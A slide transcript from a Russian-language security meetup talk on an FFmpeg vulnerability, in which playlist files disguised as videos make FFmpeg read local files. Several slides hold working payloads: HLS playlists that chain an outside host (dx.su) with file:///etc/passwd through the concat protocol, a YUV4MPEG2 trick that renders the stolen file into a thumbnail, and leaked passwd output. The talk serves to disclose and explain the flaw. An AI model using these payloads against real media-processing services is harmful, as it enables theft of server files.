security meetup 22 октября. «Опасное видео». Максим Андреев....
TRANSCRIPT
FFmpeg• поддержка более 400 кодеков и 300 форматов• открытый исходный код• активная разработка• большое сообщество
Часто используется для конвертации видео и генерациитамбнейлов
test.avi = aaaa.mov = bbbb.123
cp test.avi aaaa.movcp test.avi bbbb.123
Все сконвертировалось:
ffmpeg -i orig.avi out.mp4ffmpeg -i aaaa.mov out.mp4ffmpeg -i bbbb.123 out.mp4
ffmpeg не обращает внимания на расширение файла (∗)
test.m3u8 | test.(avi |mp4|mov)
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://cdev.dx.su:1234/8.mp4#EXT-X-ENDLIST
concat - Read and seek from many resources in sequence as if theywere a unique resource.
http://dx.su/header.m3u8
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST
⇓http://example.org?# $FreeBSD: release/10.0.0/et..
concat - Read and seek from many resources in sequence as if theywere a unique resource.
http://dx.su/header.m3u8
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST
⇓http://example.org?# $FreeBSD: release/10.0.0/et..
YUV4MPEG2 - без сжатия, 1 пиксель - 8 бит
http://dx.su/header.y4m
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME
video.mp4
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.y4m|file:///etc/passwd#EXT-X-ENDLIST
ffmpeg -i video.mp4 thumbnail.png
ffmpeg -i thumbnail.png out.y4m
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME# $FreeBSD: release/10.0.0/etc/master.passwd 256366
2013-10-12 06:08:18Z rpaulo $↪→
#root:*:0:0:Charlie &:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-again Superuser:/root:...
http://dx.su/header.m3u8
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?
movie.mp4
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST